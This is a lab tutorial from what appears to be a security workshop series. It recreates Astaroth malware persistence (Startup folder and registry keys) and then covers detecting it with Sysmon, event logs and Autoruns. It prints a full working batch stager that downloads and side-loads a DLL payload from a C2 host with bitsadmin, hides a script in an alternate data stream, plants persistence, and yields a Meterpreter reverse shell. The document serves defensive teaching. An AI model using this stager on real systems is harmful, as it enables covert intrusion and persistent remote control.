Attack Detection Fundamentals: Code Execution and Persistence - Lab #2

In the second part of F-Secure Consulting's Attack Detection Workshop series, covering Code Execution and Persistence, we explored a number of offensive techniques for achieving code execution and maintaining a foothold within a target environment. We emulated the TTPs used by Astaroth malware to do this, and saw how living-off-the-land binaries (LOLBins), DLL side-loading and alternate data streams could be put to use by threat actors. In the second lab, we adapted our malware to include two persistence techniques. We also explored the detection strategies that can be employed to spot these using our own detection stacks. The following blog provides a final step-by-step guide to recreating the demos from that Code Execution and Persistence workshop, as well as exercises to further the reader's understanding of the concepts shown.

A recording of the workshop can be found here.

In this final lab, we are going to deal with Persistence, again grabbing inspiration from TTPs the real-world threat Astaroth used in its latest campaign. Contrasting with some of the more esoteric techniques we saw in the previous lab, the actor chose two more traditional and straightforward techniques for maintaining their foothold. We are going to reuse the lab setup and most of the resources we developed in the first lab, so it is encouraged that the reader get familiar with the previous lab if they have not yet do so. Again, we are going to take a simplified approach to the real techniques the Astaroth malware campaign used earlier this year, so I also recommend taking a look at Microsoft Defender ATP Research Team's blog post to get a better picture of how the attack works.

As in the real incidents we have dealt with, we are going to use two techniques that add code to the start process by modifying the registry run keys and start up folder.

Registry Run Keys and Startup Folder

As mentioned in the introduction, the actors behind the Astaroth campaign decided to go with a more old school, tried and tested approach for their attempt at persistence than the rare code execution techniques we examined in the first lab. I guess they went with the old mantra: "If something works, why change it?". Even if these techniques are not as comparatively stealthy as other approaches, they are still reliable and efficient in what they do. Furthermore, for the purposes of our workshop, they adequately demonstrate some detection strategies that will further the reader's understanding and are easy to implement.

Startup Folder

One means of persistence is to create a file in the user's "Start Up" folder. As the name might suggest, the special thing about this folder, is that everything that is in it gets executed at start up, as long as it is in an executable format.

The path of this folder is as follows:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

It is important to note here that anything that gets executed this way will be under the context of the user logging in.

Notably, if we have administrative privileges, we could instead use the system-wide StartUp folder, located in:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

This way our payload would load any time a user logs into the system, no matter who they are (although, the file would still be executed under that user's privileges).

Registry Run Keys

By adding an entry to certain locations inside the Windows Registry (known as "Run Keys") an attacker is able to get code executed every time the system boots up or that the user logs in. As with the "Start Up" folders described above, here we also have user-specific locations and system wide locations (that also require administrative privileges to be modified).

HKEY_CURRENT_USER (HKCU)

Entries added to the Run Keys in the Current User Registry Hive (HKCU) will get executed every time the compromised user logs in.

The following list shows the most common locations to achieve persistence under the context of the current user.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

We can modify one such location and add a key to get our code executed every time the user logs in with the following command:

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <name> /t REG_SZ /d <filepath>

HKEY_LOCAL_MACHINE (HKLM)

On the other hand, entries added to the Run Keys in the System or Local Machine Registry Hive (HKCU) will get executed every time any user logs in into the system.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

And the command to modify one of these registries, and add our system wide persistence key, is as follows (remember we do need administrative privileges to tinker with this):

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v <name> /t REG_SZ /d <filepath>

Additionally, there are a few other registry locations that can be used to create and place start up folder items that will of course also get executed at log in:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

In fact, this is actually the case with the Astaroth malware. The attackers added an entry to the registry listed below to achieve persistence, and we will do the same in our lab.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Finally, there are still more locations and methods to achieve persistence using this technique, so I recommend doing some more research on the topic to get a more thorough view on this.

References:

Required Tools

  • Attacking VM Kali Linux 
  • Target VM (Windows with AV and Firewall disabled)
  • SimpleHTTPServer (Python module)
  • Metasploit
  • Windows Registry Editor (Regedit)
  • Autoruns

Walkthrough

All the steps to create the payloads and set up the C2 server remain the same as in the previous lab. The only changes we need to make to carry out this new version of the simulation - with persistence included - is to add the persistence mechanisms to the stager payload.

Stager Creation (With Persistence)

To achieve persistence we are going to add two new lines of code to this stager file.

Add the Payload to the User's Start Up Folder

The first line will add a copy of our launcher payload to the user's Start Up folder.

copy <filepath> "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<filename>"

startup launcher

Run Keys in the User Registry Hive

The second line of code is going to create a registry key pointing to our payload location inside the user's Registry Hive.

REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /f /v StartUp /t REG_SZ /d <filepath>

The flags used on this command mean the following:

  • /f - Adds the registry entry without prompting for confirmation.
  • /v - Specifies the name of the registry entry.
  • /t - Specifies the type for the registry entry.
  • /d - Specifies the data for the new registry entry.

reg add

Stager v2.0 Code

You can find the complete code for the new stager below.

@echo off

setlocal enabledelayedexpansion

set SERVER=http://192.168.40.128/

set PATH_PUBLIC_DIR=C:\Users\Public\Libraries\raw\
rem Create the target directoty if it does not exist.
if not exist "%PATH_PUBLIC_DIR%" mkdir %PATH_PUBLIC_DIR%

set PAYLOAD_DLL=payload.dll
set TARGET_ADS=desktop.ini
set LAUNCHER_LNK=launcher.lnk
set LAUNCHER_CREATE_VBS=launcher_create.vbs

set URL_PAYLOAD_DLL=%SERVER%%PAYLOAD_DLL%

rem ExtExport.exe looks for any DLL with the following names.
set EXTEXPORT_DLLS[1]=mozcrt19.dll
set EXTEXPORT_DLLS[2]=mozsqlite3.dll
set EXTEXPORT_DLLS[3]=sqlite3.dll

rem Select one DLL filename at random.
set /a _rand=%RANDOM% %% 3 + 1
set EXTEXPORT_DLL=!EXTEXPORT_DLLS[%_rand%]!

set PATH_EXTEXPORT_DLL=%PATH_PUBLIC_DIR%%EXTEXPORT_DLL%
set PATH_LAUNCHER_LNK=%PATH_PUBLIC_DIR%%LAUNCHER_LNK%
set PATH_LAUNCHER_CREATE_VBS=%PATH_PUBLIC_DIR%%LAUNCHER_CREATE_VBS%

set PATH_LAUNCHER_CREATE_ADS=%PATH_PUBLIC_DIR%%TARGET_ADS%:%LAUNCHER_CREATE_VBS%

set PATH_EXTEXPORT_EXE=C:\Program Files (x86)\Internet Explorer\Extexport.exe
set EXTEXPORT_ARGS=C:\Users\Public\Libraries\raw foo bar

rem Download the renamed DLL payload from the server.
bitsadmin /transfer 2 /priority FOREGROUND %URL_PAYLOAD_DLL% %PATH_EXTEXPORT_DLL%

rem Use a temporary VBScript to create the LNK launcher.
rem The launcher will take the renamed DLL payload and load it using ExtExport.
echo Set oWS = WScript.CreateObject("WScript.Shell") > %PATH_LAUNCHER_CREATE_VBS%
echo sLinkFile = "%PATH_LAUNCHER_LNK%" >> %PATH_LAUNCHER_CREATE_VBS%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.TargetPath = "%PATH_EXTEXPORT_EXE%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Arguments = "%EXTEXPORT_ARGS%" >> %PATH_LAUNCHER_CREATE_VBS%
echo oLink.Save >> %PATH_LAUNCHER_CREATE_VBS%

rem Copy the launcher creation VBScript to the Alternate Data Stream (ADS) of desktop.ini and erase it.
type %PATH_LAUNCHER_CREATE_VBS% > %PATH_LAUNCHER_CREATE_ADS% && erase %PATH_LAUNCHER_CREATE_VBS%

rem Execute the launcher creation VBScript from the Alternate Data Stream (ADS).
cscript %PATH_LAUNCHER_CREATE_ADS%

rem #############################################################################

rem Persistence Code Added Here
rem ---------------------------

rem Copy the Launcher to the user's startup folder.
copy %PATH_LAUNCHER_LNK% "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%LAUNCHER_LNK%"

rem Add a registry key to the run keys in the user registry hive.
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /f /v StartUp /t REG_SZ /d %PATH_LAUNCHER_LNK%

rem ###########################################################################

rem Execute the LNK launcher. This will use ExtExport.exe to side load and execute the DLL payload.
start /b %PATH_LAUNCHER_LNK%

This file will work in the same way as before, with the added benefit that now it is also going to provide us with access to the target machine between reboots.

Executing the Attack

persistence flow dark

The steps to carry out the attacks are the same as in the first lab, but now we will also reboot our target machine and restart our listener to test for persistence.

These steps are recreated below:

  1. The first step is to move the `create_dropper_lnk.bat` batch file to the Windows VM (Desktop works) that will act as the target and execute it. This will create a shortcut file named "clickme.lnk" that will imitate the Infection Vector in the real attack.
  2. On the attacking machine, move to the directory where the payloads are stored and set up a HTTP server as described above.
  3. Open up a Metasploit console and set up a listener for a reverse Meterpreter shell over TCP, again following the steps already outlined.
  4. Back to the target machine, it is time for the user to click on that completely benign looking file. This will trigger the whole attack chain.
  5. Turns out the "clickme" shortcut file is a dropper! Who would have though. Anyway, after executing, this binary uses BITSAdmin to fetch the next step of the attack chain, a stager batch file. This stager gets automatically executed and performs two actions:
  6. First it reaches back to our C2 server, retrieves our DLL payload, renames it and stores it in "C:\Users\Public\Libraries\raw\".
  7. Second, it generates a VBS script and copies it to the Alternate Data Stream of "desktop.ini" inside the same directory, hiding it from unwanted eyes. The original script is immediately deleted.
  8. This now hidden script is accessed and executed by the stager, creating the final launcher file in shortcut format (.lnk).
  9. Almost there. On its final step, the stager executes the shortcut file, which launches ExtExport.exe - a LOLBin bundled in Internet Explorer - pointing to the directory where the aptly renamed DLL payload is stored. If successful, the DLL is side-loaded and the embedded payload executed.
  10. Voila! A Meterpreter shell spawns in the terminal of our attacking machine. Good job! Now let's test for persistence.
  11. First navigate to the user Start Up folder C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\` and check that a copy of our launcher has successfully been copied there.
  12. Now let's make use of an internal Windows tool called Regedit to check if the key has been added to the Registry too. Open the search bad in the taskbar and type `regedit`. You need to run this with administrative rights. Once inside Regedit's interface, navigate to `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`. Check the value on right hand side of the key named "startup". If the stager script was successful, this should now contain the path to our payload.
  13. Time for the final test: Shut down your target Windows VM. Your Meterpreter shell should die shortly afterwards.
  14. Restart the listener on the Metasploit console in our C2 machine.
  15. Reboot the target Windows VM and login as the same user.
  16. Back in your attacking VM you should now see a shiny new Meterpreter shell coming up. Victory! Persistence has been achieved! Now sit back and get ready to #HackTheWorld.

Detection

We are now aware of how the attackers behind the Astaroth campaign achieved their persistence. So the question is, how do we detect them?

The following section describes some of the ways in which the abuse of the techniques we just discussed can be detected, with a few insights into some of the implementations Countercept used when facing with this threat.

Most of the tools we are going to use to this end can be categorised as one of the following types:

  • Event Logs
  • Stand Alone Tools and Scripts
  • Sigma Rules

Apart from the event logs, to follow along with some of the examples we recommend installing the following tools:

Sysinternals Autoruns

The Autoruns utility from the Sysinternals suite is probably the easiest way to monitor any startup location susceptible of being abused to achieve persistence by an attacker. The tool looks into all the startup locations in the system and shows every program or executable that is configured to run during system bootup or user log in. This includes of course the StartUp folder and the registries we have been talking about through this guide.

Not only that but it also checks for files that are configured to run when other built-in Windows applications are launched, like Explorer, Internet Explorer or media players, which can also be abused by attackers to make them execute extraneous code.

Finally, the tool offers a wide arrange of options to filter and zoom in on any suspicious file or group of files to get a closer look into any anomalies in the startup process.

Although the advanced usage of this tool goes beyond the scope of this guide, Autoruns should be one of the assets in any system administrator or blue teamer's toolset.

Startup File Detection

Focusing on specific detections, persistence by the method of creating a file in the startup folder can be carried out in the following manner.

If we have Sysmon installed as part of our detection stack, we can look for records of events in the Startup folder directory with the EID 12 (file creation), that would point to a new file being added on this location.

We can then filter down these events by checking other data like the actual name of the process that created the file and the extension of the file itself, comparing them to a list of usual suspects to get a better context on the file creation process.

Finally, all of this could then be implemented in a rule in whatever format we use and feed it to our SIEM to start monitoring for these occurrences.

Registry Run Keys Detection

When it comes to monitoring persistence techniques that rely on modifying Registry Keys, the process is not very different from what has been outlined above.

Sysmon events with an EID 12 point to actions that have modified an entry in the registry. If we ingest these records, we can then check the image that performed the action and the "TargetObject" to see if the command was pointing to a Run Key, for example. And just like with Sysmon, events in the Windows Security Log with an EID 4657 (A registry value was modified) also bring up the same type of actions, so we can use the same approach to develop monitoring capabilities over registry modifications.

If we are correctly logging and parsing the whole command, we can also check if there is any file extension in the arguments, and again compare it to a list of usual suspects (executables) to further filter out false positives and create a more efficient detection rule.

Conclusions

As in the previous lab, we've had the chance to execute and detect real world techniques presented in an easy to digest format. In the case of this second lab, the focus was on techniques that allow and attacker to achieve persistence in a system, and to do so we once more picked examples from the Astaroth malware campaign.

We looked at one of simplest techniques out there: copying a payload into the user's Startup folder. We then stepped into another simple but widely used technique, modifying Run Keys or certain registry locations to achieve persistence between boot ups. We explored detection mechanisms that exist to counter these threats, gaining a better understanding of them and ways to implement them.

We hope this guide has provided a little more insight into persistence and put you in the way to attain a deeper knowledge on the topic. And of course, try the labs if you have not done so yet!